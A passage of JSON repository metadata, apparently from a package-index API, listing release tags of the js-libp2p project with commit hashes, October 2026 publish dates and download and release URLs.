url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.17/manifests"},{"name":"perf-v5.1.18","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.18/manifests"},{"name":"peer-store-v12.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.32/manifests"},{"name":"peer-collections-v7.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.32/manifests"},{"name":"opentelemetry-metrics-v2.0.33","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.33/manifests"},{"name":"noise-v17.0.7","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.7/manifests"},{"name":"multistream-select-v7.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.32/manifests"},{"name":"mplex-v12.0.36","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.36/manifests"},{"name":"memory-v2.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.32/manifests"},{"name":"mdns-v12.0.36","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.36/manifests"},{"name":"libp2p-v3.5.1","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.5.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.5.1/manifests"},{"name":"kad-dht-v16.4.9","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.9/manifests"},{"name":"interop-v14.0.43","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.43/manifests"},{"name":"interface-internal-v3.2.2","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.2.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.2.2/manifests"},{"name":"interface-compliance-tests-v7.0.36","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.36/manifests"},{"name":"integration-tests-v1.2.28","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.28/manifests"},{"name":"identify-v4.1.18","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.18/manifests"},{"name":"gossipsub-v17.2.1","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.2.1/manifests"},{"name":"floodsub-v11.1.1","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.1.1/manifests"},{"name":"fetch-v4.1.17","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.17/manifests"},{"name":"echo-v3.1.18","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.18/manifests"},{"name":"dcutr-v3.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.32/manifests"},{"name":"daemon-v6.0.43","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.43/manifests"},{"name":"daemon-server-v9.0.43","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.43/manifests"},{"name":"daemon-client-v10.0.43","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.43/manifests"},{"name":"circuit-relay-v2-v4.2.17","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.17/manifests"},{"name":"bootstrap-v12.0.36","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.36/manifests"},{"name":"autonat-v3.0.32","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.32/manifests"},{"name":"autonat-v2-v2.1.8","sha":"d41cc9fdd9b92596246deba0d4b8ad0078adfc69","kind":"commit","published_at":"2026-10-19T07:19:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.8/manifests"},{"name":"yamux-v8.0.6","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.6/manifests"},{"name":"webtransport-v6.0.43","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.43","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.43/manifests"},{"name":"websockets-v10.1.24","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.24/manifests"},{"name":"webrtc-v7.0.1","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v7.0.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v7.0.1/manifests"},{"name":"utils-v7.4.4","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.4/manifests"},{"name":"upnp-nat-v4.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.31/manifests"},{"name":"transport-interop-libp2p-main-v1.0.44","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.44","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.44/manifests"},{"name":"tls-v3.1.13","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.13/manifests"},{"name":"tcp-v11.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.31/manifests"},{"name":"simple-metrics-v2.0.24","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.24/manifests"},{"name":"prometheus-metrics-v5.0.32","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.32/manifests"},{"name":"pnet-v3.0.32","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.32/manifests"},{"name":"plaintext-v3.0.31","sha":"9f08ba198a231200813037b602f07a16ac486a95","kind":"commit","published_at":"2026-10-18T05:13:46.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.31","dependencies_parsed_at":null,"depen